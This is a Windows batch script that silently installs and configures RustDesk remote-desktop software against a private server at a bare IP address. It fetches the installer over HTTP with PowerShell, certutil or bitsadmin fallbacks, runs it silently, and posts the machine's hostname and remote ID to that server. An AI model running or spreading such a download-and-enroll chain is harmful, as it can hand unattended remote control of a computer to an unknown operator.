@echo off
title RustDesk Auto Config
cd /d "%~dp0"

echo ================================
echo   RustDesk Auto Config
echo ================================
echo.

:: 1. 下载RustDesk
echo [1/3] Downloading...
echo   Downloading from 124.221.78.138...

:: 方法1: PowerShell（最可靠）
powershell -Command "$wc=New-Object System.Net.WebClient; try{echo '  Connecting...'; $wc.DownloadFile('http://124.221.78.138/download','rustdesk.exe'); echo '  OK'}catch{echo '  Failed: '+$_.Exception.Message}" 2>&1
if exist rustdesk.exe goto dl_ok

:: 方法2: certutil
echo   Trying certutil...
certutil -urlcache -f http://124.221.78.138/download rustdesk.exe >nul 2>&1
if exist rustdesk.exe goto dl_ok

:: 方法3: bitsadmin
echo   Trying bitsadmin...
bitsadmin /transfer "RD" /download /priority high http://124.221.78.138/download "%CD%\rustdesk.exe" >nul 2>&1
if exist rustdesk.exe goto dl_ok

echo   Download failed!
echo   Please download manually: http://124.221.78.138/download
pause
exit /b

:dl_ok
for %%i in (rustdesk.exe) do echo   Size: %%~zi bytes
echo.
echo [2/3] Installing...
start /wait "" rustdesk.exe /S
timeout /t 5 /nobreak >nul
echo   OK
echo.
echo [3/3] Configuring...
taskkill /f /im rustdesk.exe >nul 2>&1
taskkill /f /im RustDesk.exe >nul 2>&1
timeout /t 2 /nobreak >nul

:: 写配置文件
set CONFIG_DIR=%APPDATA%\RustDesk\config
if not exist "%CONFIG_DIR%" mkdir "%CONFIG_DIR%"

(
echo rendezvous_server = "124.221.78.138:21116"
echo key = "rfbThfZ16fpncdiD5on4yQYo+u5kQS+JbrorW3lZ5WA="
echo relay_server = "124.221.78.138:21117"
echo api_server = ""
echo.
echo [options]
echo "custom-rendezvous-server" = "124.221.78.138"
) > "%CONFIG_DIR%\RustDesk2.toml"

copy /y "%CONFIG_DIR%\RustDesk2.toml" "%CONFIG_DIR%\RustDesk.toml" >nul

:: 启动
set REAL_EXE=%LOCALAPPDATA%\rustdesk\rustdesk.exe
if exist "%REAL_EXE%" (start "" "%REAL_EXE%") else (start "" rustdesk.exe)
timeout /t 5 /nobreak >nul

:: 获取ID
for /f "tokens=*" %%i in ('hostname') do set COMPUTER=%%i
set RID=
if exist "%REAL_EXE%" (
    for /f "tokens=*" %%i in ('"%REAL_EXE%" --get-id 2^>nul') do set RID=%%i
)
if "%RID%"=="" (
    timeout /t 3 /nobreak >nul
    if exist "%REAL_EXE%" (
        for /f "tokens=*" %%i in ('"%REAL_EXE%" --get-id 2^>nul') do set RID=%%i
    )
)
if "%RID%"=="" set RID=Unknown

:: 上传
powershell -Command "$d=@{\"id\"=\"%RID%\";\"computer\"=\"%COMPUTER%\"}|ConvertTo-Json -Compress;try{$w=New-Object System.Net.WebClient;$w.Headers.Add('Content-Type','application/json');$w.UploadString('http://124.221.78.138/','POST',$d)}catch{}" >nul 2>&1

echo.
echo ================================
echo   ID: %RID%
echo   Dashboard: http://124.221.78.138
echo ================================
echo.

del rustdesk.exe 2>nul
pause
exit /b
